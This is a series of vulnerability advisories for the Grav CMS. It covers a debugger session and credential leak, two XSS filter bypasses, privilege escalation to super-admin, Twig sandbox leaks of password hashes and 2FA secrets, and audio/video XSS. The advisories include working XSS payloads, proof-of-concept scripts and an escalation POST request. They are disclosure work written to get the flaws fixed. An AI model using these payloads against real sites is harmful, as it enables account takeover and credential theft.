Grav is a flat-file CMS. In Grav 1.7.0 through 1.7.53.2 and 2.0.0 through 2.0.21, when the debugger is enabled (system.debugger.enabled: true, which is not the default), the Clockwork profiler endpoint is exposed without authentication: InitializeProcessor::handleDebuggerRequest() intercepts any path containing /clockwork/ during bootstrap and passes it to Debugger::debuggerRequest(), which performs no user lookup, IP restriction, or Clockwork authenticator check, and also supports anonymous pagination over the entire stored history. With the shipped censored: false default, each stored record contains raw request cookies (including Grav's session cookie, whose value is the PHP session id, allowing an attacker to resume another user's session, including an authenticated admin's), the full parsed request body (Grav's login form posts data[username]/data[password], so passwords are stored in plaintext because Clockwork's password filter only inspects top-level keys), and the site's entire system and plugin configuration, including operator-saved secrets such as SMTP credentials, third-party API keys, and licence keys. Authorization and X-API-Token headers are stored even when censored: true. On Grav 2.0, setting provider: debugbar does not avoid the issue because Grav forces the Clockwork provider for requests preferring a JSON response. The issue is fixed in 1.7.53.4 and 2.0.22, which restrict /clockwork/ to server-local requests or requests presenting the new system.debugger.token secret and strip cookies and credential headers from stored records. Workarounds include setting debugger.enabled: false or blocking /clockwork/ at the web server or CDN.
Affected versions and vulnerable location
- Confirmed on grav core at 78ebfc1 (tag 2.0.13). - Detector: system/src/Grav/Common/Security.php:290, the onevents regex, run via patternMatches() (:315-330). - The onevents pattern at HEAD: #<(?:"[^"]"|'[^']'|[^>"'])?(?:[\s\x00-\x20"'/]|"[^"]"|'[^']')on\s[a-z]+\s=#iu - Sole save-time guard for non-super content: Validation::checkSafety() (system/src/Grav/Common/Data/Validation.php:160 scalars, :165 arrays), invoked per field from BlueprintSchema::validate -> Validation::checkSafety (system/src/Grav/Common/Data/BlueprintSchema.php:248). security.xsswhitelist: [admin.super] exempts only super-admins (Validation.php:148).
Root cause (distinct from GHSA-269c)
GHSA-269c hardened the tag-body scan to be quote-aware so a > inside a paired quoted attribute value is treated as data, not a tag close. That same quote-awareness opened a new gap: the regex treats ANY " or ' as a string delimiter, but HTML only enters a quoted-value state when a quote appears immediately after =. A single unpaired quote sitting inside an unquoted attribute value is, to the browser, just a value character; to the regex it is an unterminated string that neither [^>"'] nor "[^"]" can consume, so the lazy tag-body scan cannot advance past it to reach the following on...= handler. No alignment matches and detectXss() returns null.
Proof (executed)
The detector was replicated verbatim (the onevents regex plus patternMatches) with the shipped system/config/security.yaml defaults and run under PHP. Observed:
text baseline <img src=x onerror=alert(1)> => blocked (onevents) GHSA-269c <img src=x title=">" onerror=alert(1)> => blocked (onevents) # prior fix works BYPASS A <img src=x" onerror=alert(1)> => PASSES (no XSS detected) BYPASS B <img title=x" onerror=alert(1)> => PASSES (no XSS detected) BYPASS C <a href=x" onmouseover=alert(1)>x</a> => PASSES (no XSS detected) BYPASS D <img src=x' onerror=alert(1)> => PASSES (no XSS detected) BYPASS E <div id=x" onmouseover=alert(1)>hover</div> => PASSES (no XSS detected)
Browser tokenization of <img src=x" onerror=alert(1)>: src takes the unquoted value x" (space ends it), onerror is parsed as a separate live attribute, src 404s and onerror fires. None of the other rules cover it: img/a/div are not in xssdangeroustags, there is no javascript:/data: scheme and no style/url/expression.
Reachability
checkSafety() is the only save-time XSS screen for a non-super editor. The pages blueprint validates header.title (type: text) and page content (markdown/textarea) with xsscheck on, so a bare onerror= is rejected but the payload above is stored verbatim. Page content is emitted through {{ page.content|raw }} and raw inline HTML passes Parsedown by default (markdown.escapemarkup: false), so the handler runs for every visitor. The same detector core also backs Security::detectXssInEditorContent() (the GHSA-2c4f render-time-Twig save gate; callers Page.php:1359, Flex/Types/Pages/PageObject.php:194), the detectXssFromPages() admin scanner (Admin.php:2096), and the xss() Twig function, so all of them report the payload clean.
Auth required: an authenticated content editor with page/form edit rights but WITHOUT admin.super.
Suggested fix
Make the tag-body scan treat a quote as a delimiter only in the after-= position, or normalize unquoted attribute values before the handler scan, so an unpaired quote inside an unquoted value cannot mask a following on...=. A targeted addition: also flag on<name>= sequences that appear after a lone unbalanced quote within the same tag. Because detectXss() is a denylist, consider additionally encoding "/' in stored non-super content, or defaulting markdown.escapemarkup: true for non-super authors.
Severity and CVSS reasoning
Suggested severity: High (matches GHSA-269c and the other stored-XSS advisories in this codebase).
Suggested CVSS:3.1 vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (8.7).
- PR:L: a non-super editor account. - UI:R: a visitor renders the page (for onerror the image simply loads/fails automatically). - S:C/C:H/I:H: script in the site origin against every visitor, including admins viewing the content.
How I found it and a note on tooling
I read detectXss() and reasoned about the difference between the HTML tokenizer's quoted-value state and the regex's string handling, then replicated the exact onevents pattern and patternMatches() with the shipped default config and ran the payloads to confirm the bypass and that the GHSA-269c payload is still blocked. I used AI assistance for the analysis and drafting and verified the detector behavior by execution. This is executed against a faithful replica of the detector with production config, not against a full running Grav site.
Summary The core Flex group blueprint system/blueprints/user/group.yaml (access field, lines 48-55) omits the security@: admin.super field guard that its sibling account blueprint carries (account.yaml:131/138/150, added by the CVE-2026-42613 fix). A delegated non-super operator holding admin.users.update can therefore save a group whose access map contains admin.super: true, which UserGroupObject::authorize then grants to every member of that group, a full privilege escalation to super-admin (scheduler/cron RCE, Twig eval). This is a distinct file, sink, and fix from all four related advisories.
Root Cause The CVE-2026-42613 fix protected the account access/groups fields with a blueprint-level security@: admin.super gate, which Blueprint::dynamicSecurity() (system/src/Grav/Common/Data/Blueprint.php:644-662) uses to mark a field validate.ignore=true for non-super users so BlueprintSchema::filterArray() (BlueprintSchema.php:263-311) drops it. The functionally-identical group access field, a permission map granted to every member of the group, is declared in system/blueprints/user/group.yaml:48-55 with checkauthorize: false and NO security@ guard. checkauthorize has ZERO PHP enforcement (grep -rn checkauthorize across the repo returns 0 PHP consumers; only two YAML blueprints reference it), so security@ is the sole real control. Because the group access field lacks security@, dynamicSecurity never flags it, filterArray retains it, and Validation::filterArray (type: array, valuetype: bool) passes the nested admin.super:true leaf through. The core save path (FlexObject::update() then Framework/Flex/FlexObject.php:683 $blueprint->filter($data,true,true) then save()) persists it to user://config/groups.yaml.
Impact A delegated admin.users operator (strictly below admin.super) escalates to super-admin, gaining the admin panel, the scheduler (cron to RCE) and Twig evaluation. Full read/write/DoS (C:H/I:H/A:H). Even absent self-escalation, arbitrary rewrite of ANY group's ACL is itself a full escalation primitive.
Proof of Concept As a non-super admin.users operator who is a member of group ops: POST /admin/accounts/groups/ops (or groups.json task:save) data[access][admin][super]=1 user/config/groups.yaml gains ops: { access: { admin: { super: true } } }, so the operator is super-admin on the next request.
Attack Chain 1. Entry: authenticated delegated admin (admin.users.update, no admin.super) POSTs the group-edit form for a group they belong to (or a new group), body access[admin][super]=true. Guard: FlexAuthorizeTrait::isAuthorizedAction to admin.users.update. Bypass proof: user-groups.yaml exposes groups at admin.users:crudl; operator legitimately holds update. 2. Check (field guard): Blueprint::dynamicSecurity marks validate.ignore only for security@ fields. Guard: none on group access (no security@). Bypass proof: group.yaml:48-55 has no security@; git log -S 'security@' -- system/blueprints/user/group.yaml is empty. 3. Filter: BlueprintSchema::filterArray retains the non-ignored field; Validation::filterArray (valuetype: bool) passes admin.super:true through. Bypass proof: field not flagged ignore/disabled; nested bool leaf preserved. 4. Sink (persist): FlexObject::update then filter then save writes to user://config/groups.yaml. Guard: none. Bypass proof: value already survived steps 2/3; storage performs no ACL filtering. 5. Impact: any member request triggers UserGroupObject::authorize('admin.super') (.../UserGroups/UserGroupObject.php:75) returning true, so the member is super-admin, enabling scheduler/Twig RCE.
Bypass Evidence - system/blueprints/user/group.yaml:48-55: access block with checkauthorize: false, no security@ (confirmed live on tag 2.0.12). - git log -S 'security@' -- system/blueprints/user/group.yaml is empty (guard never existed; a permanent gap, not a regression). - git log 2.0.12..HEAD -- system/blueprints/user/group.yaml is empty (no post-release fix). - grep -rn checkauthorize (whole repo) returns 0 PHP hits (guard unenforced in PHP). - grep -rn "typePermissions|filterPermissions" system/src/Grav/Common/Data returns 0 (permissions map falls through to array-bool filtering that keeps nested keys). - Guard asymmetry: account.yaml:131/138/150 carry security@: admin.super; group.yaml carries none. GHSA-h33v-82r9-v8pm's own text confirms the blueprint security@ gate is the sole Flex-backend strip for these keys.
Affected Versions <= 2.0.12 (latest release; the guard never existed on group.yaml, so all 2.x are affected). The missing guard and the strip logic are both in core getgrav/grav; the group-edit UI is provided by the flex-objects/admin plugin, but the fix belongs in core.
Suggested Fix Add security@: admin.super to the access field in system/blueprints/user/group.yaml (mirroring account.yaml), and/or enforce a super-only strip on group ACL saves in core so all callers are covered.
--- Reported by zx (Jace) — GitHub: @manus-use
Vulnerability Details
Component: getgrav/grav core File: system/src/Grav/Common/Security.php Function: detectXss() (all six entries in the $patterns array use the PCRE u modifier), invoked from Grav\Common\Data\Validation::checkSafety() (the save-time XSS gate for any non-security.xsswhitelist account's blueprint field, including the page content field) and detectXssInEditorContent() (the render-time backstop for GHSA-2c4f-86xc-cr74) CWE: CWE-79 (Stored XSS), root-caused by CWE-20 (Improper Input Validation — fails open on malformed input) Severity: High CVSS: 8.0 — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Relationship to prior advisories This project's detectXss()/checkSafety() stack has been patched at least three times for the "page editor without super-admin rights stores an event handler that runs for site visitors" bug class: GHSA-9695-8fr9-hw5q / GHSA-c2q3-p4jr-c55f / GHSA-w8cg-7jcj-4vv2 (unquoted-attribute bypasses), GHSA-269c-h76q-8cxw (quoted-attribute-boundary bypass), GHSA-2c4f-86xc-cr74 (render-time Twig-assembled bypass). All three patched the regex logic. This is a different, lower-level defect: the PHP regex engine silently refuses to evaluate the pattern at all once the input contains one invalid UTF-8 byte, independent of what the regex logic says — no amount of regex-logic hardening fixes this.
Root Cause Every pattern in $patterns uses the PCRE u (UTF-8) modifier. PHP's documented behavior: if the subject string contains even one byte sequence that is not valid UTF-8, pregmatch() does not "skip" that byte or report "no match" — it returns false for the entire call, with preglasterror() === PREGBADUTF8ERROR. detectXss() only checks truthiness (if (pregmatch(...) || pregmatch(...))), so false and "0 matches" are indistinguishable to the calling code. A single stray byte anywhere in a field's value — not even near the actual payload — makes every one of the six checks silently report "no XSS found".
Meanwhile, a real browser decoding the same bytes as UTF-8 (the encoding Grav serves pages as) does not fail open: it substitutes the invalid byte with one U+FFFD replacement character and renders the surrounding markup completely normally. The <img ... onerror=...> tag is untouched structurally; the payload still fires.
Vulnerable Code php $patterns = [ 'onevents' => '#<(?:"[^"]"|\'[^\']\'|[^>"\'])?(?:[\s\x00-\x20\"\'\/]|"[^"]"|\'[^\']\')on\s[a-z]+\s=#iu', // ... five more, all with the /u modifier ]; foreach ($patterns as $name => $regex) { if (!empty($enabledrules[$name])) { if (pregmatch($regex, (string) $string) || pregmatch($regex, $orig)) { return $name; } // ... } } return null; // reached even when the string contains <img onerror=...>, // as long as it also contains one invalid UTF-8 byte anywhere
Directly reproducible against the exact regex: php $regex = '#<(?:"[^"]"|\'[^\']\'|[^>"\'])?(?:[\s\x00-\x20\"\'\/]|"[^"]"|\'[^\']\')on\s[a-z]+\s=#iu'; vardump(pregmatch($regex, "<img src=x onerror=alert(1)>")); // int(1) -- caught vardump(pregmatch($regex, "<img src=x \x80onerror=alert(1)>")); // bool(false), preglasterror()==4
Attack Scenario 1. Attacker holds a page-edit ("publisher") account without super-admin rights. 2. Sets page content to Hello world \x80<img src=x onerror=alert(document.cookie)> (a raw invalid UTF-8 byte, deliverable via any non-JSON submission path — e.g. the bundled Form plugin's multipart/urlencoded field, or any blueprint-validated field populated from a raw POST body — $POST values are not UTF-8-validated by PHP). 3. Validation::checkSafety() runs detectXss() on the value; every pregmatch() call returns false, so detectXss() returns null ("no violation"). The payload saves unmodified. 4. Any visitor (including a super-admin browsing the public site) loads the page; the browser renders the intact <img onerror=...> element, executing the attacker's JavaScript in the visitor's session.
Impact - Type: Stored XSS (CWE-79) - Auth required: Page-edit ("publisher") account, not super-admin - Consequence: Arbitrary JavaScript execution in any visitor's browser, including a super-admin who views the page — a cross-trust-boundary escalation from publisher to admin-equivalent action capability.
Recommended Fix php public static function detectXss($string, ?array $options = null): ?string { if (null === $string || !isstring($string) || empty($string)) { return null; }
// Fail closed: mbcheckencoding() validates the whole string up front // and returns a normal boolean — it never "fails open" the way a // /u-flagged pregmatch() does on malformed input. if (!mbcheckencoding($string, 'UTF-8')) { return 'invalidencoding'; }
// ... rest unchanged } Validation::checkSafety() only invokes detectXss() for accounts outside security.xsswhitelist (default admin.super), so this introduces no behavior change for whitelisted accounts.
Verification Dynamically confirmed on grav 2.0.13: called the live Security::detectXss() directly (bootstrapped through Grav's own service container, not a standalone regex copy) — a clean payload was correctly flagged ("onevents"), the same payload plus one invalid UTF-8 byte returned NULL (bypass), and an ordinary safe string returned NULL as expected. Note: the JSON REST API (api plugin, the path Admin2's SPA uses to save pages) happens to reject raw invalid UTF-8 before it reaches detectXss(), because RFC 8259 requires JSON text to be valid UTF-8 and PHP's jsondecode() enforces this — that's an incidental protection of the JSON layer, not a fix, and any non-JSON submission path (e.g. the bundled Form plugin's multipart/urlencoded fields) remains exposed. After applying the fix above, the same bypass payload correctly returns "invalidencoding" (a violation), while an ordinary safe string still returns NULL (no regression).
A ready-to-apply fix branch is prepared locally against this repo's develop branch (based on the 2.0.13 tag); happy to push it to a private fork once one is available for this advisory.
Summary
system/config/security.yaml's Twig sandbox policy allow-lists offsetget and offsetexists for Grav\Common\User\Interfaces\UserInterface. The concrete Grav\Common\User\DataUser\User class does not filter which fields offsetGet() returns, so any sandboxed template with access to a User object can read hashedpassword, secret (2FA seed), and twofasecret directly, bypassing the redaction Grav's own code applies everywhere else.
The core evidence, from Grav's own code
system/src/Grav/Common/User/DataUser/User.php:
php / {@inheritdoc} Override to filter out sensitive fields like password hashes / public function jsonSerialize(): array { $items = parent::jsonSerialize();
// Security: Remove sensitive fields that should never be exposed to frontend unset($items['hashedpassword']); unset($items['secret']); // 2FA secret unset($items['twofasecret']); // Alternative 2FA field name
return $items; }
public function offsetGet($offset) { $value = parent::offsetGet($offset); // only special-cases 'authorized', nothing else -- no redaction return $value; }
system/config/security.yaml:
yaml - class: 'Grav\Common\User\Interfaces\UserInterface' methods: 'authorize, authorized, authenticated, username, fullname, email, language, offsetget, offsetexists'
This is the same vulnerability shape as two already-fixed issues in this file (GHSA-j274-39qw-32c9 and GHSA-mc5q-6hpj-rp7j -- both a raw, unfiltered data-access path bypassing an intended redaction) recurring on a third class neither fix covered.
Live, end-to-end verification
Built a real Twig\Environment wired with the real Twig\Extension\SandboxExtension, policed by Grav's own GravSecurityPolicy class, constructed directly from values parsed out of the actual system/config/security.yaml (via Symfony\Component\Yaml\Yaml::parseFile, not a hand-copied excerpt), rendering real template strings against a real User object.
Environment setup:
bash git clone https://github.com/getgrav/grav.git cd grav apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar" COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
livesandboxrendertest.php:
php <?php require 'vendor/autoload.php';
use Symfony\Component\Yaml\Yaml; use Twig\Environment; use Twig\Loader\ArrayLoader; use Twig\Extension\SandboxExtension; use Grav\Common\Twig\Sandbox\GravSecurityPolicy; use Grav\Common\User\DataUser\User;
$securityYaml = Yaml::parseFile('system/config/security.yaml'); $sandboxCfg = $securityYaml['twigsandbox'];
function rowsToMap(array $rows): array { $out = []; foreach ($rows as $row) { $out[$row['class']] = arraymap('strtolower', arraymap('trim', explode(',', $row['methods']))); } return $out; }
$policy = new GravSecurityPolicy( $sandboxCfg['allowedtags'], $sandboxCfg['allowedfilters'], rowsToMap($sandboxCfg['allowedmethods']), rowsToMap($sandboxCfg['allowedproperties']), $sandboxCfg['allowedfunctions'] ); $sandbox = new SandboxExtension($policy, true);
$user = new User([ 'username' => 'admin', 'hashedpassword' => '$2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX', 'secret' => 'JBSWY3DPEHPK3PXP', 'twofasecret' => 'ALT2FASECRETVALUE9999', ]);
function tryRender(string $label, string $template, SandboxExtension $sandbox, User $user): void { $twig = new Environment(new ArrayLoader(['@Page:test' => $template])); $twig->addExtension($sandbox); try { echo "$label => " . $twig->render('@Page:test', ['user' => $user]) . "\n"; } catch (\Twig\Sandbox\SecurityError $e) { echo "$label => BLOCKED: " . $e->getMessage() . "\n"; } }
tryRender('hashedpassword via offsetGet()', "{{ user.offsetGet('hashedpassword') }}", $sandbox, $user); tryRender('secret via offsetGet()', "{{ user.offsetGet('secret') }}", $sandbox, $user); tryRender('twofasecret via offsetGet()', "{{ user.offsetGet('twofasecret') }}", $sandbox, $user); tryRender('twofasecret via subscript', "{{ user['twofasecret'] }}", $sandbox, $user); tryRender('control: user.set() (unlisted)', "{{ user.set('email', 'pwned@evil.com') }}", $sandbox, $user);
Run: php livesandboxrendertest.php
Output:
hashedpassword via offsetGet() => $2y$10$REALBCRYPTHASHVALUEshouldnotleakXXXXXXXXXXXXXXXXXXXXX secret via offsetGet() => JBSWY3DPEHPK3PXP twofasecret via offsetGet() => ALT2FASECRETVALUE9999 twofasecret via subscript => BLOCKED: Calling "twofasecret" property on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1. control: user.set() (unlisted) => BLOCKED: Calling "set" method on a "Grav\Common\User\DataUser\User" object is not allowed in "@Page:test" at line 1.
The control payload (a real, non-allow-listed User method) is correctly blocked, and the target field was confirmed unchanged afterward -- confirming the sandbox is genuinely active and the three leaks above are real, not an artifact of a failed sandbox.
Precise nuance for the fix
Twig routes user.offsetGet('x') (explicit method call) and user['x'] (subscript sugar on a non-built-in ArrayAccess object) through two different sandbox checks -- checkMethodAllowed against allowedmethods, versus checkPropertyAllowed against allowedproperties. The subscript form is already correctly blocked, since UserInterface has no allowedproperties entry. Only the explicit .offsetGet()/ .offsetExists() method-call form leaks, because those methods are present in allowedmethods.
Scope, stated honestly
I could not find where Grav core itself binds a user variable into the sandboxed Twig page-content context -- Twig::processPage()'s $twigvars has no 'user' key, and the Login plugin (the near-universal companion plugin that would populate "current logged-in user") is not part of this repository. I cannot independently confirm from this codebase alone whether that binding is always the current session user (self-disclosure only) or could resolve to an arbitrary other user (site-wide credential/2FA-secret disclosure). What is independently confirmed entirely from this repository: the security.yaml sandbox policy is Grav core's own security contract, and it allow-lists a method proven unsafe by Grav's own code, regardless of which plugin exercises it.
Impact
Any sandboxed Twig context where a UserInterface object is reachable (the standard, documented pattern for exposing "current user" to editor-authored content) allows extraction of that user's password hash (enabling offline cracking) and 2FA secret (enabling full authentication bypass by generating valid TOTP codes without possessing the user's device), by any user with page-edit permission.
Suggested fix
Trimming the UserInterface entry alone is insufficient: User extends Data, and the separate generic allowlist entry for Grav\Common\Data\Data (get, value, items, offsetget, offsetexists) independently grants the same access via instanceof matching, through three methods (get, value, offsetGet), not just one. I verified this by simulating the UserInterface-only fix and confirming all three still leak hashedpassword and secret/twofasecret.
The robust fix mirrors what was already done for Config in GHSA-j274-39qw-32c9: introduce a redacting facade for User (analogous to SandboxConfig) that filters hashedpassword/secret/twofasecret on every read path, and allow-list that facade in place of the raw User/Data class -- rather than trying to enumerate safe methods on a class whose parent class is independently allow-listed elsewhere in the same policy. A narrower alternative: override User::get()/value()/offsetGet() to apply the same redaction jsonSerialize() already does, so the fields simply don't exist to leak regardless of which accessor method reaches them.
Affected component
- system/config/security.yaml, twigsandbox.allowedmethods entry for Grav\Common\User\Interfaces\UserInterface - system/src/Grav/Common/User/DataUser/User.php, offsetGet() (behaves correctly given the sandbox's input; the gap is in what the sandbox allows through)
Ecosystem: Composer Package name: getgrav/grav Affected versions: current 2.0.15 dev tree (bounded by whenever UserInterface was first added to allowedmethods in security.yaml — worth checking git log -p on that file if you want an exact lower bound before submitting) Patched versions: leave blank
Severity / CVSS v3.1 vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N Resolves to 7.7 / High. Attack Vector = Network, Attack Complexity = Low, Privileges Required = Low, User Interaction = None, Scope = Changed, Confidentiality = High, Integrity = None, Availability = None. Flag clearly in your submission (as the description does) that if the maintainers confirm the "arbitrary other user" reachability, this should be rescored toward Critical given the 2FA-bypass implication.
CWE: CWE-522 (Insufficiently Protected Credentials), add CWE-284 (Improper Access Control)
Summary
system/config/security.yaml's default twigsandbox.configdeniedpaths list (plugins, streams, security, backups, scheduler) omits the system prefix. When an operator enables the documented, non-default twigcontent.configaccess: true setting (intended to safely expose low-sensitivity values like site.title to editor-authored Twig content), any real secret stored under system. , for example system.cache.redis.password , is also exposed, both via config.get(...) and via config.toArray(), to any user with page-edit permission.
This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret exfiltration): that fix correctly introduced a SandboxConfig facade with a denylist, but the shipped default denylist is incomplete.
Environment used to verify
- Grav commit at HEAD of the default branch, GRAVVERSION 2.0.15 - PHP 8.3.6 with curl, zip, dom, gd extensions installed - Full composer install --no-dev run against the real repository (no mocked dependencies) so the actual Grav\Common\Config\Config and Grav\Common\Twig\Sandbox\SandboxConfig classes could be exercised directly
Commands run to set up the verification environment
bash git clone https://github.com/getgrav/grav.git cd grav
install missing PHP extensions required by composer.json apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd
composer.phar fetched directly from GitHub releases curl -sL -o /tmp/composer.phar \ "https://github.com/composer/composer/releases/latest/download/composer.phar"
COMPOSERALLOWSUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction
Proof of Concept
Confirmed the real, currently-shipped config field first, rather than assuming one:
bash grep -n "redis" -A3 system/config/system.yaml redis: socket: false password: # <- system.cache.redis.password, a real field database:
grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml cache.redis.password: # <- confirmed exposed in the admin UI as "REDIS Password" type: text
sandboxtest.php , loads the real classes via the real autoloader, no mocking of Config or SandboxConfig themselves:
php <?php require 'vendor/autoload.php';
use Grav\Common\Config\Config; use Grav\Common\Twig\Sandbox\SandboxConfig;
// Real field: system.cache.redis.password // (system/config/system.yaml line 138; blueprint in // system/blueprints/config/system.yaml, "cache.redis.password") $configTree = [ 'system' => [ 'cache' => [ 'driver' => 'redis', 'redis' => [ 'server' => '10.0.0.5', 'password' => 'REALREDISPASSWORDABC123SHOULDNOTLEAK', ], ], ], 'plugins' => [ 'someplugin' => ['apikey' => 'plugin-secret-should-be-blocked'], ], 'site' => ['title' => 'My Site'], ];
$config = new Config($configTree);
// exact default list shipped in system/config/security.yaml $defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];
$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);
echo "plugins.someplugin.apikey: "; vardump($sandboxConfig->get('plugins.someplugin.apikey', 'REDACTED'));
echo "system.cache.redis.password: "; vardump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));
printr($sandboxConfig->toArray());
Run:
bash php sandboxtest.php
Output:
plugins.someplugin.apikey: string(8) "REDACTED"
system.cache.redis.password: string(42) "REALREDISPASSWORDABC123SHOULDNOTLEAK"
Array ( [system] => Array ( [cache] => Array ( [driver] => redis [redis] => Array ( [server] => 10.0.0.5 [password] => REALREDISPASSWORDABC123SHOULDNOTLEAK )
)
)
[site] => Array ( [title] => My Site )
)
plugins. is correctly redacted; system.cache.redis.password is not, and appears in full both via targeted get() and via bulk toArray().
Confirming the Twig-reachable path is real
system/config/security.yaml's sandbox policy explicitly allow-lists SandboxConfig's methods for use inside sandboxed page-content templates:
yaml - class: 'Grav\Common\Twig\Sandbox\SandboxConfig' methods: 'get, toarray, value, offsetget, offsetexists'
So, with twigcontent.processenabled: true and twigcontent.configaccess: true both set (both documented, operator-controlled settings), a page containing:
twig {{ config.get('system.cache.redis.password') }}
or
twig {{ config.toArray() }}
renders the real Redis password directly into the page output for any user with page-edit permission.
Impact
Any site that (a) uses Redis for caching with a password set, and (b) has enabled the documented configaccess opt-in (intended only to expose things like site.title), exposes that Redis password , and potentially other future system. secrets , to every user with page-edit access, not just administrators. This defeats the purpose of the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific combination of otherwise-legitimate settings.
Suggested fix
Add system to the default configdeniedpaths list in system/config/security.yaml, or invert the model to an allowlist (e.g. site, and any other subtree confirmed non-sensitive) so a future secret-bearing config key added under system. doesn't silently bypass the sandbox by default.
Affected component
- system/config/security.yaml, twigsandbox.configdeniedpaths default value - system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php (behaves correctly given its input; the gap is in the default list passed to it)
Target: github.com/getgrav/grav Affected resource: Grav\Common\Media\Traits\AudioMediaTrait / VideoMediaTrait sourceParsedownElement() — verified on 2.0.13 (latest stable) and develop HEAD 5a7070f Severity: Medium (~6.9 CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N — anchored to the sibling script-XSS advisory CVE-2026-42841, same PR:H / S:C / C:H / I:L) Weakness: CWE-79 (Improper Neutralization of Input During Web Page Generation)
Summary
A Markdown audio or video embed renders its <source> element as raw HTML with the media URL concatenated unescaped. The URL fragment is reflected without any encoding, so !x>) breaks out of <source src="…"> and injects arbitrary HTML — including a script-executing <svg onload> — into the rendered page. Any user who views the page runs the attacker's JavaScript in their session; a logged-in administrator who views it exposes their same-origin Grav Admin session to the attacker's script.
This is the next sink in the media-parameter injection class the maintainer has been closing: GHSA-r7fx-8g49-7hhr (attribute()), GHSA-pmf8-g7c8-7v54 / CVE-2026-55890 (style(), 2.0.0-rc.9), and GHSA-ffmg-hfvg-jhg9 (resize(), 2.0.0-rc.10). All three guarded image style/attribute sinks; the aba291a5 audit scoped itself to "sinks reaching the style attribute" and did not cover the audio/video <source> rawHtml sink, which reaches full script execution rather than CSS injection.
Root Cause
The audio/video player builds its inner source as Parsedown rawHtml (emitted verbatim, unescaped), concatenating the media URL directly into a double-quoted attribute — AudioMediaTrait.php L43-52 (identical in VideoMediaTrait.php L58-67):
php protected function sourceParsedownElement(array $attributes, $reset = true) { $location = $this->url($reset); return [ 'name' => 'audio', 'rawHtml' => '<source src="' . $location . '">Your browser does not support the audio tag.', 'attributes' => $attributes ]; }
$location includes the URL fragment, which is stored with no encoding — MediaObjectTrait::urlHash() L240-249 only strips a leading #. Before that, the excerpt handler decodes the media URL with htmlspecialcharsdecode(urldecode(...)), undoing Parsedown's escaping — Excerpts.php L188 — and routes the fragment to urlHash() at Excerpts.php L321-323. So ", <, >, =, (, ) in the fragment survive into the raw <source>.
Two defenses that stop the querystring path do not cover the fragment:
- The GFM tagfilter — ParsedownGravTrait::filterDisallowedRawHtml() L528-535 — escapes < only for title|textarea|style|xmp|iframe|noembed|noframes|script|plaintext. <svg> and <img> are not on the list, so they inject as live markup. - The call querystring passthrough rawurlencodes its values, but the fragment never passes through it, so event-handler values (onload=alert(1)) keep their = ( ) and execute.
The image render path is unaffected — an image's src goes into an htmlspecialchars-escaped attribute, not rawHtml.
Steps to Reproduce
Prerequisites
- PHP >= 8.0 with the built-in web server (verified on 8.5) - curl - unzip
Step 1: Download Grav 2.0.13 (latest stable, self-contained core)
bash mkdir -p /tmp/grav-xss && cd /tmp/grav-xss curl -L -o grav.zip https://github.com/getgrav/grav/releases/download/2.0.13/grav-v2.0.13.zip unzip grav.zip
Step 2: Create a page with an audio file and a malicious Markdown embed
bash cd /tmp/grav-xss/grav mkdir -p user/pages/03.poc printf 'ID3fakeaudio' > user/pages/03.poc/sound.mp3 cat > user/pages/03.poc/default.md <<'MD' --- title: XSS PoC --- !sound>) MD
Step 3: Start Grav
bash php -S 127.0.0.1:8390 -t /tmp/grav-xss/grav /tmp/grav-xss/grav/system/router.php
Leave this running and open a new terminal for the next step.
Step 4: Fetch the rendered page and show the un-escaped injection
bash for i in $(seq 1 60); do (exec 3<>/dev/tcp/127.0.0.1/8390) 2>/dev/null && { exec 3>&-; break; }; sleep 1; done curl http://127.0.0.1:8390/poc | grep -o '<audio.</audio>'
Expected output:
<audio controls="controls" alt="sound"><source src="/user/pages/03.poc/sound.mp3?loading=auto&decoding=auto&fetchpriority=auto#"><svg/onload=alert(1)>">Your browser does not support the audio tag.</audio>
The <source src="…#"> is closed by the injected " and >, and <svg/onload=alert(1)> follows as live markup. Open http://127.0.0.1:8390/poc in a browser: the SVG's onload fires and executes alert(1) (screenshot: a document.body.innerHTML='XSS…' variant rewriting the page). Video reproduces identically with an .mp4 file and the same fragment.
Suggested Fix
Escape $location with htmlspecialchars() before concatenating it into the <source src="…"> rawHtml in AudioMediaTrait::sourceParsedownElement() and VideoMediaTrait::sourceParsedownElement() (and any other rawHtml media sink), or build the <source> through Parsedown's escaped-attribute mechanism instead of a raw string. The URL fragment in MediaObjectTrait::urlHash() should also be encoded rather than passed through verbatim.
Cleanup
bash kill %1 2>/dev/null rm -rf /tmp/grav-xss
Impact
Arbitrary JavaScript executes with no interaction in the session of any user who views a page that embeds a crafted audio/video file. The attacker is a page-content author (a Grav back-end user with page-edit rights, below super-admin); the injected <svg onload> runs in the viewer's origin — a published-page visitor (confirmed at runtime), or a logged-in administrator who views the page, whose same-origin Grav Admin session the script can then ride. This is a no-interaction sink: Grav's body renderer already passes interaction-based <a href="javascript:"> / <form action="javascript:"> raw but escapes auto-firing <img onerror> / <svg onload> on block tags — the audio/video <source> rawHtml path is the reliable auto-firing primitive that the three prior fixes (which constrained this same author→viewer boundary to safe CSS) left open.
